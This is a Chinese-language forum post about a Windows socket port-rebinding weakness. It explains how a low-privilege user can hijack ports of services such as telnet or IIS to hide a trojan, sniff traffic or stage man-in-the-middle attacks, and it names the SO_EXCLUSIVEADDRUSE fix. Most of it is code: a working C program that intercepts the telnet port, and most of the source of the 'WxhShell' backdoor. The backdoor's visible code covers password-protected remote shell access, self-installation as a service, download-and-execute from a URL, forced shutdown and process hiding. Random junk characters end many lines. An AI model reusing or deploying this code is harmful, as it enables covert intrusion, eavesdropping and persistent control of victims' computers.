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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q& Vt*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uyG4zV\h*  
y K&)H+v  
  saddr.sin_family = AF_INET; q+o(`N'~G  
MU&5&)m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _H8)O2mJ  
+o/;bm*U<K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O'-lBf+<  
Aq|LeH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <STjB,_s  
CsR~qQ 5  
  这意味着什么?意味着可以进行如下的攻击: uYMW5k_,>  
^J~}KOH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7F'61}qL  
1^Zx-p3J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a}c(#ZLs  
1 )j%]zd2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z?hBn`.  
5#f&WL*U@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   D#m+w  
D0k7)\puQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BS|-E6E<  
{h%.i Et%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $oua]8!  
mc$c!Ax*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 329xo03-[  
WAdl@){  
  #include FUcs=7c  
  #include v}Aw!Dv/  
  #include s_*eX N  
  #include    &gEu%s^wR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bo -Gh`  
  int main() w\2[dd  
  { <WbD4Q<3?  
  WORD wVersionRequested; }> 1h+O  
  DWORD ret; ~IWi @m{  
  WSADATA wsaData; 4rzioIk  
  BOOL val; 462ae` 6l  
  SOCKADDR_IN saddr; *r% mqAx(  
  SOCKADDR_IN scaddr; <s7{6n')  
  int err; g<dCUIbcQ  
  SOCKET s; ~!nd'{{9  
  SOCKET sc; ytC{E_  
  int caddsize; pM7BdMp   
  HANDLE mt; PvB?57wkF  
  DWORD tid;   F'~/  
  wVersionRequested = MAKEWORD( 2, 2 ); i ('EBO  
  err = WSAStartup( wVersionRequested, &wsaData ); =4%C?(\  
  if ( err != 0 ) { yED^/=\)}  
  printf("error!WSAStartup failed!\n"); AeJM[fCMa  
  return -1; f%}+.e D  
  } jN<]yhqf  
  saddr.sin_family = AF_INET; BxT~1SBFq  
   N7jRdT2k%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CM#EA"9  
0$_imjZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `i:0dVs  
  saddr.sin_port = htons(23); 7lj-Z~1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7S7!  
  { Y}#^n7*w~  
  printf("error!socket failed!\n"); f:Ja  
  return -1; 'q^Gg;c>+  
  } D8#q.OR]  
  val = TRUE; &Egn`QU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %7@H7^s}9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m{5$4v,[  
  { \9?<E[  
  printf("error!setsockopt failed!\n"); A_fU7'B  
  return -1; QO>*3,(H,q  
  } 1c4%g-]7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Iw:("A&~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v}Nx*%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $^XPk#$m  
$P@cS1sB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) } 2.}fHb2  
  { 3"hR:'ts  
  ret=GetLastError(); .#eXNyCe  
  printf("error!bind failed!\n"); MdjLAD)f+C  
  return -1; y~=hM   
  } i+Dgw  
  listen(s,2); cs M|VNE>  
  while(1) }"x*xN  
  { oMe]dK  
  caddsize = sizeof(scaddr); )l}wjKfgO  
  //接受连接请求 O*v+<|0!l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1c"m$)a4  
  if(sc!=INVALID_SOCKET) 4w6K|v<X  
  { 3ky+qoe  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l1qwT0*6>  
  if(mt==NULL) B3t>M) 9  
  { M\6`2q  
  printf("Thread Creat Failed!\n"); gc~h!%'.I  
  break; uPXqTkod  
  } &s;^q  
  } -c?wEqa~2  
  CloseHandle(mt); +"cyOC  
  } }_22 wjm~  
  closesocket(s); z\Y^x 9  
  WSACleanup(); IpXhb[UZ?  
  return 0; \KXEw2S  
  }   z}tp0~C  
  DWORD WINAPI ClientThread(LPVOID lpParam) mO> M=2A  
  { @<=#i  
  SOCKET ss = (SOCKET)lpParam; z=_{jjs  
  SOCKET sc; PI \,`^)y  
  unsigned char buf[4096]; o#) !b:/  
  SOCKADDR_IN saddr;  BZc-  
  long num; <xjv7`G7  
  DWORD val; xm0#4GFUS  
  DWORD ret; {kH^OZ^(e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JW [\"`x!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;j>d"i36&  
  saddr.sin_family = AF_INET; ;Hb[gvl   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8m6nw0   
  saddr.sin_port = htons(23); hb8XBBKR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r(T/^<  
  { AS_+}*WSFQ  
  printf("error!socket failed!\n"); _5w?v~65  
  return -1; N:[;E3?O  
  } 5)5bt q)[  
  val = 100; M9g\/]Io;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "4hpU]4j  
  { cEjdImAzU  
  ret = GetLastError(); $#FlnM<=  
  return -1; 97wy;'J[u  
  } ~+ wamX3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g Pj0H&,.  
  { %=8(B.I!  
  ret = GetLastError(); 2\\3<  
  return -1; cgXF|'yI&l  
  } Z:J.FI@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {/xs9.8:JX  
  { TK/'=8  
  printf("error!socket connect failed!\n"); ^ [[ b$h$  
  closesocket(sc); %N>NOk)  
  closesocket(ss); { DQ E7kI  
  return -1; ~o'#AP#N~  
  } arQ %  
  while(1) M6*{#Y?  
  { tZCe?n]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *F*jA$aY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sVdK^|j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ('6g)@=\U  
  num = recv(ss,buf,4096,0); &qP-x98E?  
  if(num>0) q;zf|'&*7C  
  send(sc,buf,num,0); tq:tY}:4  
  else if(num==0) %=4ak]As  
  break; 9r+O!kF(  
  num = recv(sc,buf,4096,0); q+n1~AT  
  if(num>0) 0s9z @>2  
  send(ss,buf,num,0); k)K-mD``U  
  else if(num==0) <N=p:e,aN,  
  break; `s> =Sn&UP  
  } ZHF(q6T  
  closesocket(ss); xhkWKB/7  
  closesocket(sc); %"[dGB$S  
  return 0 ; #"8[8jyV  
  } Te@6N\g  
SslY]d]  
*/^2RZg|W  
========================================================== 6_5d  
WmjzKCl  
下边附上一个代码,,WXhSHELL rYFau1  
m_"p$m;  
========================================================== TBKd|D'H  
)| x%o(n  
#include "stdafx.h" _|  
-+=:+LhSMb  
#include <stdio.h> ,;iBeqr5  
#include <string.h> @fH&(@  
#include <windows.h> c\MsVH2 |  
#include <winsock2.h> 4JZHjf0M6  
#include <winsvc.h>  AMD?LjY~  
#include <urlmon.h> ki~y@@3I  
rt^45~  
#pragma comment (lib, "Ws2_32.lib") {rvbo1t  
#pragma comment (lib, "urlmon.lib") N.{jM[\F  
VHT@s7u0"  
#define MAX_USER   100 // 最大客户端连接数 /uE^H%9h  
#define BUF_SOCK   200 // sock buffer yD"0=\  
#define KEY_BUFF   255 // 输入 buffer 2>}\XKF).  
;\.JV '  
#define REBOOT     0   // 重启 $'knK<  
#define SHUTDOWN   1   // 关机 x]R(twi  
$?)3&\)R  
#define DEF_PORT   5000 // 监听端口 0)oN[  
@\T;PTD-  
#define REG_LEN     16   // 注册表键长度 G4`Ut1g ^  
#define SVC_LEN     80   // NT服务名长度 hygnC`|  
hiMyFvA4  
// 从dll定义API +|?|8"Qg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IjDT'p_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); crNjI`%tw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _MdZDhtm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W>0"CUp  
=`1m-   
// wxhshell配置信息 -N7xO)  
struct WSCFG { k?HrD"k"  
  int ws_port;         // 监听端口 }PFt  
  char ws_passstr[REG_LEN]; // 口令 &=-e`=qJ'6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]`@]<6  
  char ws_regname[REG_LEN]; // 注册表键名 *F szGn<  
  char ws_svcname[REG_LEN]; // 服务名 r6n5Jz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "@{4.v^}!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /:y2Up-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NYjS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IypWVr   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [{@zb-h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [X }@Ct6  
*vRI)>wU  
}; J`r,_)J"2  
XD^ dlL  
// default Wxhshell configuration _;e!ZZLG  
struct WSCFG wscfg={DEF_PORT, fQQsb 5=i  
    "xuhuanlingzhe", "X5_-l  
    1, 6)wy^a|pb  
    "Wxhshell", i-k >U}[%  
    "Wxhshell", t$K@%yU2  
            "WxhShell Service", SH vaV[C  
    "Wrsky Windows CmdShell Service", ;vJ\]T ml  
    "Please Input Your Password: ", GOf`Z'\xt  
  1, {Vxc6,=  
  "http://www.wrsky.com/wxhshell.exe", &"[)s[m+t  
  "Wxhshell.exe" v]:+` dV  
    }; ;+i'0$;*w  
l`b1%0y  
// 消息定义模块 Uvh~B^6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vd%v_Ek  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _r\$NgJIM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;P;"F21^>  
char *msg_ws_ext="\n\rExit."; P{S\pWZkk  
char *msg_ws_end="\n\rQuit."; =naR{pI  
char *msg_ws_boot="\n\rReboot..."; b " ")BT  
char *msg_ws_poff="\n\rShutdown..."; hj&fQ}X  
char *msg_ws_down="\n\rSave to "; 5iQmZ [  
zJ;>.0  
char *msg_ws_err="\n\rErr!"; 6 u-$  
char *msg_ws_ok="\n\rOK!"; :xFu_%7  
skIiJ'db  
char ExeFile[MAX_PATH]; @~k5+Z  
int nUser = 0; 6 Wpxp\  
HANDLE handles[MAX_USER]; WR/o @$/  
int OsIsNt; T- |9o|~z  
gB>imr#e&  
SERVICE_STATUS       serviceStatus; sno`=+|U]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UvxSMD:A  
V1SqX:;b&  
// 函数声明 >ZT& `E  
int Install(void); Vi|7%!j<  
int Uninstall(void); y?pD(u  
int DownloadFile(char *sURL, SOCKET wsh); o"p^/'ri  
int Boot(int flag); +Edzjf~Tt  
void HideProc(void); /gz:zThf{  
int GetOsVer(void); G'f9N^w  
int Wxhshell(SOCKET wsl); <4bz/^  
void TalkWithClient(void *cs); j8GY`f#  
int CmdShell(SOCKET sock); <S1??  
int StartFromService(void); -<qxO  
int StartWxhshell(LPSTR lpCmdLine); :dP~.ZY7  
mn]-rTr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t;8\fIW5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8Q2]*%  
T><{ze  
// 数据结构和表定义 ,~4H{{<j  
SERVICE_TABLE_ENTRY DispatchTable[] = ^rv"o:lF  
{ )K~w'TUr  
{wscfg.ws_svcname, NTServiceMain}, .'|mY$U~]  
{NULL, NULL} J yj0Gco  
}; g(/{.%\k  
[X,A'Q  
// 自我安装 AR%hf  
int Install(void) /+V Iw`E  
{ CjZZm^O  
  char svExeFile[MAX_PATH]; R?cUy8?'S  
  HKEY key; w *50ZS;N  
  strcpy(svExeFile,ExeFile); i S%  
OJAx:&]3  
// 如果是win9x系统,修改注册表设为自启动 L#D9@V'z  
if(!OsIsNt) { *q0`})IQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o`bo#A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z[fB!O  
  RegCloseKey(key); lT.zNhz:d9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2fJ{LC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zZ%DtxUoU.  
  RegCloseKey(key); }A]BpSEP  
  return 0; ,c>N}*6h=W  
    } ^q ;Cx7T_p  
  } FigR1/3o'6  
} gQ37>  
else { 0rD#s{?   
57~Uqt  
// 如果是NT以上系统,安装为系统服务 nV}8M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _%Bz,C8  
if (schSCManager!=0) No) m/17y  
{ Sp:l;SGd  
  SC_HANDLE schService = CreateService gv#4#]  
  ( Ia2(Km  
  schSCManager, mN;+TN'?{  
  wscfg.ws_svcname, ?GdsOg^  
  wscfg.ws_svcdisp, _\.{6""  
  SERVICE_ALL_ACCESS, !X|k"km"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $X*mdji  
  SERVICE_AUTO_START, hd B |#t  
  SERVICE_ERROR_NORMAL, #,L~w  
  svExeFile, 8tLHr@%%  
  NULL, ~-TOsRvxR  
  NULL, o0ZIsrr  
  NULL, kbxg_UI;  
  NULL, lWWP03er!  
  NULL 62[8xn=(%  
  ); 3HZ~.  
  if (schService!=0) J~KX|QY.S  
  { jd 1jG2=f  
  CloseServiceHandle(schService); x4m 5JDC  
  CloseServiceHandle(schSCManager); u$%A#L[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kneuV8+(5  
  strcat(svExeFile,wscfg.ws_svcname); w u)Wg-dT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  ~,"N[Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B8T\s)fxnX  
  RegCloseKey(key); ?}}qu'N:N  
  return 0; $5AC1g'  
    } c%z'xM  
  } m@jge)O&D  
  CloseServiceHandle(schSCManager); F8<"AI  
} V1B(|P  
} _qn?2u3mnR  
#)s!}X^  
return 1; { p;shs5  
} h >-'-Hx+  
~i ,"87$[  
// 自我卸载 0,_b)  
int Uninstall(void) ESTM$k }X  
{ }7ehF6  
  HKEY key; VO=!8Yx[  
A`[@ 8  
if(!OsIsNt) { W @.Ji B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j8++R&1f]  
  RegDeleteValue(key,wscfg.ws_regname); =su]w2,Iy  
  RegCloseKey(key); <8!  Tq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $7Z)Yp&T  
  RegDeleteValue(key,wscfg.ws_regname); ,zhJY ?sk  
  RegCloseKey(key); VfSj E.|  
  return 0; |a-fE]{7  
  } 6)qp*P$L  
} qmglb:"  
} xCXQ<77  
else { Ooc\1lX  
Z^yNLF*&V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qnChM ;)  
if (schSCManager!=0) nirDMw[  
{ 1vnYogL   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J0Z7 l  
  if (schService!=0) 3BdX  
  { 8w_7O> 9  
  if(DeleteService(schService)!=0) { <YB9Ac~}z  
  CloseServiceHandle(schService); (YPi&w~S  
  CloseServiceHandle(schSCManager); "l7NWqfB  
  return 0; ;f1qLI  
  } xb:&(6\F  
  CloseServiceHandle(schService); os4{0Mxu  
  } u5B:^.:p  
  CloseServiceHandle(schSCManager); dtZE67KS  
} 4;<ut$G  
} Dnw|%6Y  
Fh8lmOL;?  
return 1; 8R/dA<Ww  
} 3BG>Y(v  
E{?au]y$J  
// 从指定url下载文件 t$J.+}}I  
int DownloadFile(char *sURL, SOCKET wsh) $, 3J7l3  
{ u JY)4T  
  HRESULT hr; =>iA gp'#  
char seps[]= "/"; W/fuKGZi_  
char *token; jQ\zGJ3  
char *file; UAn&\8g_  
char myURL[MAX_PATH]; AY,].Zg[  
char myFILE[MAX_PATH]; .iG&Lw\,  
k V;fD$iW;  
strcpy(myURL,sURL); 7fHc[,  
  token=strtok(myURL,seps); -0Cnp/Yj@  
  while(token!=NULL) nXy>7H[0  
  { Q>Qibr  
    file=token; "4o=,$E=  
  token=strtok(NULL,seps); ea'&xs#GK  
  } _n;;][]S  
bQ'8SCe  
GetCurrentDirectory(MAX_PATH,myFILE); `=UWqb(K_  
strcat(myFILE, "\\"); @-HG`c ct  
strcat(myFILE, file); pav'1d%  
  send(wsh,myFILE,strlen(myFILE),0); rHjq1-t  
send(wsh,"...",3,0); FAsFjRS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); - VxDNT}Tr  
  if(hr==S_OK) zFz10pH  
return 0; oGa^/:6L  
else Hc^W%t~  
return 1; q1?&Ev^  
s{0aBeq  
} 8NBT|N~N  
lf(`SYQnOY  
// 系统电源模块 c(#;_Ve2P  
int Boot(int flag) MUnEuhXTr  
{ ,:LA.o}h  
  HANDLE hToken; I,yC D7l_  
  TOKEN_PRIVILEGES tkp; ]\ !5}L  
R :X0'zeRr  
  if(OsIsNt) { `h:34RC;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i|`dWOVb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]:>,A@7  
    tkp.PrivilegeCount = 1; i4JqT\q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fz#X= gmG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bKg8rK u  
if(flag==REBOOT) { 2i;7{7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /!h;c$  
  return 0; VTy9_~q  
} Xpe)PXb  
else { %D$]VSP;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [AMAa]^  
  return 0; I$q]. B  
} vM:cWat  
  } |a1{ve[  
  else { BTgG4F/)  
if(flag==REBOOT) { jTO), v:w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @,Gxk   
  return 0; hj'(*ND7z  
} CI353-`  
else { MZ+^-@X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ls@i".[  
  return 0; h8Yx#4  
} p sL?Y  
} #(An6itl  
IxLhU45  
return 1; OnQdq^UB  
} .7K7h^*F  
`]Q:-h  
// win9x进程隐藏模块 V"c 6Kdtd  
void HideProc(void) =[b)1FUp  
{ RuII!}*  
/1Ue?)g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ck?YI]q|  
  if ( hKernel != NULL ) okbQ<{9  
  { DC{>TC[p1k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,) J~,^f6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9IX/wm"  
    FreeLibrary(hKernel); lXcx@#~  
  } o2<#s)GpY  
:oJ=iB'Zc  
return; ULMu19>  
} I f\fLhM  
6DH~dL_",%  
// 获取操作系统版本 "g$IP9?U  
int GetOsVer(void) /p8dZ+X  
{ O,Cb"{qH8  
  OSVERSIONINFO winfo; qkiI/nH3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L 4!{h|  
  GetVersionEx(&winfo); B95B|tU>.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |PC*=ykT3  
  return 1; j~!X;PV3  
  else ~l)-wNqR4r  
  return 0; J0@X<Lt U  
} Q~Hy%M%R3  
tQS5hwm*  
// 客户端句柄模块 : |>Gc39`t  
int Wxhshell(SOCKET wsl) +E{|63~q  
{ s&RVJX>Rt  
  SOCKET wsh; h*-Pr8  
  struct sockaddr_in client; z CvKDlL  
  DWORD myID; ~]QHk?[wc  
A!h`]%0B  
  while(nUser<MAX_USER) j KoG7HH  
{ V$ ps>  
  int nSize=sizeof(client); Z<vKQ4 G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tCdqh-   
  if(wsh==INVALID_SOCKET) return 1; c@893<_  
MdvcnaCG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9jw\s P@  
if(handles[nUser]==0) V,cBk  
  closesocket(wsh); p,eTY[k?  
else Ft&]7dT{W  
  nUser++; `\}v#2VJ  
  } lhqg$lb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H!$o$}A  
#w' kV#  
  return 0; [Al&  
} INJEsz  
cLLbZ=`  
// 关闭 socket CLUW!F  
void CloseIt(SOCKET wsh) ~vyf4TF<#  
{ |a Vn&qK  
closesocket(wsh); R=QZgpR  
nUser--;  |'B7v i)  
ExitThread(0); V=o t-1,j7  
} h-` }L=  
]?!mS[X  
// 客户端请求句柄 a ?)NC  
void TalkWithClient(void *cs) -w"VK|SGm  
{ 5fd]v<  
~5}* d  
  SOCKET wsh=(SOCKET)cs; De'_SD|=  
  char pwd[SVC_LEN]; L6|oyf  
  char cmd[KEY_BUFF]; ^SF&=NpV  
char chr[1]; ;EP:o%r  
int i,j; w|K'M?N14  
4bYK}o S  
  while (nUser < MAX_USER) { ,Ge"anO  
z?R|Ok  
if(wscfg.ws_passstr) { !WQ-=0cm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -#N.X_F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VgZsB$Ori  
  //ZeroMemory(pwd,KEY_BUFF); pSdI/Vj'=  
      i=0; H _zo1AW  
  while(i<SVC_LEN) { D=-SO +  
/7Cc#P6  
  // 设置超时 K3#@SY j  
  fd_set FdRead; 8|l\E VV6  
  struct timeval TimeOut; L?mrba y  
  FD_ZERO(&FdRead); JehrDC2N  
  FD_SET(wsh,&FdRead); %D\[*  
  TimeOut.tv_sec=8; 3 :<WY&9  
  TimeOut.tv_usec=0; l*d(;AR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T?ZRiR)@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n'E(y)9|  
pL/DZ|S3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1SCR.@ k<  
  pwd=chr[0]; {tYZt4!{^  
  if(chr[0]==0xd || chr[0]==0xa) { %N>%!m  
  pwd=0; 2y;Skp  
  break; N_W}*2(  
  } @1o/0y"  
  i++; q_MG?re  
    } __G?0*3G  
\o*5  
  // 如果是非法用户,关闭 socket )<h*eS{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R6;=n"Ueb  
} >4TaP*_  
r\'A i6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nxnv,AZG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W{6|tx)  
Y 5- F@(  
while(1) { $5aV:Z3P  
YIQ 4t  
  ZeroMemory(cmd,KEY_BUFF); N"Zt47(  
0"  
      // 自动支持客户端 telnet标准   Nfrw0b  
  j=0; 1WxK#c-)  
  while(j<KEY_BUFF) { 3Q.#c,`jV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PNgY >=Y  
  cmd[j]=chr[0]; l rlgz[  
  if(chr[0]==0xa || chr[0]==0xd) { 1\ o59Y  
  cmd[j]=0; Yg%I?  
  break; v&DI`xn~  
  } tE<H|_{L  
  j++; K*K,}W&}  
    } u8&Z!p\  
saBVgSd  
  // 下载文件 ]%@M>?Ywc  
  if(strstr(cmd,"http://")) { 4i)1'{e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %[Wh [zZy  
  if(DownloadFile(cmd,wsh)) \XCe22x]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EE&K0<?T|:  
  else 1"MhGNynB>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); riY~%9iV'  
  } @\0ez<.p}  
  else { bnf'4PAt  
/?5 1D@  
    switch(cmd[0]) { +Vb.lH[av  
  LDgrR[  
  // 帮助 naG=Pq<  
  case '?': { ?+@n3]`0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h7G"G"  
    break; V_ :1EBzz  
  } 4;e5H_}Oo  
  // 安装 p& y<I6a,  
  case 'i': { % ?0:vn  
    if(Install()) EN<F# Y3E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JVvs-bK5  
    else  VA6}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N)uSG&S:  
    break; 6Zm# bFQ  
    } q;T{|5/O  
  // 卸载 x9UX!Z5*>  
  case 'r': { L iN$ pwm  
    if(Uninstall()) 2V mNZ{<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH)}/n  
    else JU1~e@/'%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z]>O+  
    break; |mxDjgq  
    } !JHL\M>A5  
  // 显示 wxhshell 所在路径 XKj|f`  
  case 'p': { ]#)()6)2v  
    char svExeFile[MAX_PATH]; ?PuBa`zDE  
    strcpy(svExeFile,"\n\r"); '}ptj@,  
      strcat(svExeFile,ExeFile); ] {RDVA=]  
        send(wsh,svExeFile,strlen(svExeFile),0); ;w{tv($$  
    break; T"{>t  
    } S'Q@ScJ  
  // 重启 SD"FErJ  
  case 'b': { &FMc?wq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QO<jI#  
    if(Boot(REBOOT)) ` 06;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jl4rbzse  
    else { K -nF lPm\  
    closesocket(wsh); ~ (|5/ p7t  
    ExitThread(0); !E<[JM  
    } {j.bC@hWw  
    break; Ec3}_`  
    } |7'df&CA  
  // 关机 *v;2PP[^  
  case 'd': { CM/H9Kz.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $O&b``  
